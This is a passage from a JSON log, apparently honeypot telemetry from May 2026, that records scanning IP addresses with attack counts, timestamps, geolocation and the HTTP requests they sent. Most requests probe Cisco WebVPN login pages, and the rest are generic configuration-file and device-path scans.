      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.165.128.171": {
      "attack_count": 8,
      "first_seen": "2026-05-27T05:23:20.046Z",
      "last_seen": "2026-05-27T11:40:54.342Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "104.164.164.223": {
      "attack_count": 7,
      "first_seen": "2026-05-30T14:46:57.673Z",
      "last_seen": "2026-05-30T14:47:23.797Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "141.133.44.30": {
      "attack_count": 7,
      "first_seen": "2026-05-27T21:28:08.104Z",
      "last_seen": "2026-05-27T21:28:21.859Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.158.30": {
      "attack_count": 7,
      "first_seen": "2026-05-30T10:03:16.547Z",
      "last_seen": "2026-05-30T10:03:28.011Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "170.168.215.204": {
      "attack_count": 7,
      "first_seen": "2026-05-31T03:50:32.076Z",
      "last_seen": "2026-05-31T03:50:48.584Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.117.95": {
      "attack_count": 7,
      "first_seen": "2026-05-30T03:41:12.636Z",
      "last_seen": "2026-05-30T03:41:26.207Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.52.33": {
      "attack_count": 7,
      "first_seen": "2026-05-30T09:25:13.288Z",
      "last_seen": "2026-05-30T09:25:29.107Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "192.42.116.68": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:27:02.956Z",
      "last_seen": "2026-05-24T01:27:13.490Z",
      "ports": [],
      "event_types": [
        "\"GET /mobrise/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /modules/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /nwebmail/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/dhtml/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/flash/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /panel/init/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "193.160.217.171": {
      "attack_count": 7,
      "first_seen": "2026-05-27T07:56:13.316Z",
      "last_seen": "2026-05-27T07:56:23.747Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lakemoor",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.228.51.192": {
      "attack_count": 7,
      "first_seen": "2026-05-30T07:13:17.213Z",
      "last_seen": "2026-05-30T07:13:32.559Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "2.56.139.198": {
      "attack_count": 7,
      "first_seen": "2026-05-30T03:14:07.165Z",
      "last_seen": "2026-05-30T03:14:18.964Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "173.249.252.200": {
      "attack_count": 6,
      "first_seen": "2026-05-05T06:00:01.467Z",
      "last_seen": "2026-05-08T06:23:04.547Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.41": {
      "attack_count": 6,
      "first_seen": "2026-05-29T20:57:56.116Z",
      "last_seen": "2026-05-31T03:09:34.247Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.66": {
      "attack_count": 6,
      "first_seen": "2026-05-02T00:26:05.923Z",
      "last_seen": "2026-05-05T15:42:58.822Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.80": {
      "attack_count": 6,
      "first_seen": "2026-05-26T06:14:15.550Z",
      "last_seen": "2026-05-26T14:54:58.016Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "101.36.112.101": {
      "attack_count": 4,
      "first_seen": "2026-05-04T01:27:26.421Z",
      "last_seen": "2026-05-04T01:27:28.002Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "185.180.141.49": {
      "attack_count": 4,
      "first_seen": "2026-05-11T06:30:08.926Z",
      "last_seen": "2026-05-11T06:30:46.220Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "185.213.193.66": {
      "attack_count": 3,
      "first_seen": "2026-05-04T15:13:32.516Z",
      "last_seen": "2026-05-04T15:13:42.033Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "192.42.116.59": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:17:03.777Z",
      "last_seen": "2026-05-24T01:17:08.380Z",
      "ports": [],
      "event_types": [
        "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
        "\"POST /admin/config.php HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.108.66": {
      "attack_count": 3,
      "first_seen": "2026-05-02T04:47:35.327Z",
      "last_seen": "2026-05-02T04:47:45.523Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.148": {
      "attack_count": 3,
      "first_seen": "2026-05-16T04:07:34.253Z",
      "last_seen": "2026-05-16T04:07:42.421Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.194": {
      "attack_count": 3,
      "first_seen": "2026-05-03T16:54:16.016Z",
      "last_seen": "2026-05-03T16:54:24.341Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.184": {
      "attack_count": 3,
      "first_seen": "2026-05-29T05:46:32.002Z",
      "last_seen": "2026-05-29T05:46:37.494Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.191": {
      "attack_count": 3,
      "first_seen": "2026-05-05T23:36:22.254Z",
      "last_seen": "2026-05-05T23:36:31.139Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "54.89.202.86": {
      "attack_count": 3,
      "first_seen": "2026-05-04T00:54:08.173Z",
      "last_seen": "2026-05-09T01:09:46.745Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "77.83.36.43": {
      "attack_count": 3,
      "first_seen": "2026-05-26T17:45:36.879Z",
      "last_seen": "2026-05-26T17:45:41.152Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /HNAP1/ HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 214403,
      "as_org": "Layer7 Networks GmbH"
    },
    "130.131.162.132": {
      "attack_count": 2,
      "first_seen": "2026-05-04T03:19:16.708Z",
      "last_seen": "2026-05-04T03:19:19.711Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "147.182.145.192": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:29:17.753Z",
      "last_seen": "2026-05-08T19:29:20.755Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "205.210.31.76": {
      "attack_count": 2,
      "first_seen": "2026-05-27T10:13:35.535Z",
      "last_seen": "2026-05-27T10:13:38.537Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "216.218.206.119": {
      "attack_count": 2,
      "first_seen": "2026-05-15T06:50:51.249Z",
      "last_seen": "2026-05-15T06:51:54.030Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.178": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:43:53.545Z",
      "last_seen": "2026-05-11T10:46:10.988Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "13.218.97.192": {
      "attack_count": 1,
      "first_seen": "2026-05-06T00:09:05.033Z",
      "last_seen": "2026-05-06T00:09:05.033Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "195.184.76.249": {
      "attack_count": 1,
      "first_seen": "2026-05-14T11:33:09.388Z",
      "last_seen": "2026-05-14T11:33:09.388Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "64.62.197.234": {
      "attack_count": 1,
      "first_seen": "2026-05-03T05:29:39.811Z",
      "last_seen": "2026-05-03T05:29:39.811Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.75": {
      "attack_count": 1,
      "first_seen": "2026-05-24T02:57:36.923Z",
      "last_seen": "2026-05-24T02:57:36.923Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.8": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:33:25.223Z",
      "last_seen": "2026-05-26T00:33:25.223Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.236.176.8": {
      "attack_count": 1,
      "first_seen": "2026-05-25T10:31:26.913Z",
      "last_seen": "2026-05-25T10:31:26.913Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.128": {
      "attack_count": 1,
      "first_seen": "2026-05-08T19:26:28.536Z",
      "last_seen": "2026-05-08T19:26:28.536Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.54": {
      "attack_count": 1,
      "first_seen": "2026-05-10T11:44:12.041Z",
      "last_seen": "2026-05-10T11:44:12.041Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "95.134.236.64": {
      "attack_count": 1,
      "first_seen": "2026-05-30T14:22:10.025Z",
      "last_seen": "2026-05-30T14:22:10.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "178.16.55.142": {
      "attack_count": 1473,
      "first_seen": "2026-05-07T02:02:50.371Z",
      "last_seen": "2026-05-30T01:38:27.971Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "146.19.49.201": {
      "attack_count": 56,
      "first_seen": "2026-05-06T01:33:56.228Z",
      "last_seen": "2026-05-06T04:46:59.976Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 62005,
      "as_org": "BlueVPS OU"
    },
    "45.134.142.201": {
      "attack_count": 48,
      "first_seen": "2026-05-06T01:51:30.632Z",
      "last_seen": "2026-05-30T09:14:27.117Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.134.142.212": {
      "attack_count": 48,
      "first_seen": "2026-05-02T05:14:52.806Z",
      "last_seen": "2026-05-29T00:53:23.138Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.195.233.214": {
      "attack_count": 45,
      "first_seen": "2026-05-20T08:49:34.064Z",
      "last_seen": "2026-05-30T07:31:17.049Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "68.235.46.19": {
      "attack_count": 41,
      "first_seen": "2026-05-03T11:51:11.944Z",
      "last_seen": "2026-05-28T01:08:40.817Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.200": {
      "attack_count": 36,
      "first_seen": "2026-05-05T13:49:49.306Z",
      "last_seen": "2026-05-29T19:41:30.593Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.207": {
      "attack_count": 33,
      "first_seen": "2026-05-05T07:40:14.416Z",
      "last_seen": "2026-05-31T03:00:56.533Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.134.142.195": {
      "attack_count": 33,
      "first_seen": "2026-05-02T08:46:53.193Z",
      "last_seen": "2026-05-30T03:55:06.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.81.231.80": {
      "attack_count": 30,
      "first_seen": "2026-05-02T01:14:39.997Z",
      "last_seen": "2026-05-26T04:50:31.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "166.88.143.186": {
      "attack_count": 28,
      "first_seen": "2026-05-26T15:29:07.853Z",
      "last_seen": "2026-05-29T21:27:49.884Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "146.70.171.94": {
      "attack_count": 27,
      "first_seen": "2026-05-03T10:04:07.436Z",
      "last_seen": "2026-05-25T21:28:14.227Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.114.24": {
      "attack_count": 27,
      "first_seen": "2026-05-04T21:59:58.132Z",
      "last_seen": "2026-05-29T11:47:44.811Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.86": {
      "attack_count": 24,
      "first_seen": "2026-05-05T02:58:30.741Z",
      "last_seen": "2026-05-29T23:53:04.238Z",
      "ports": [],
      "event_types": [
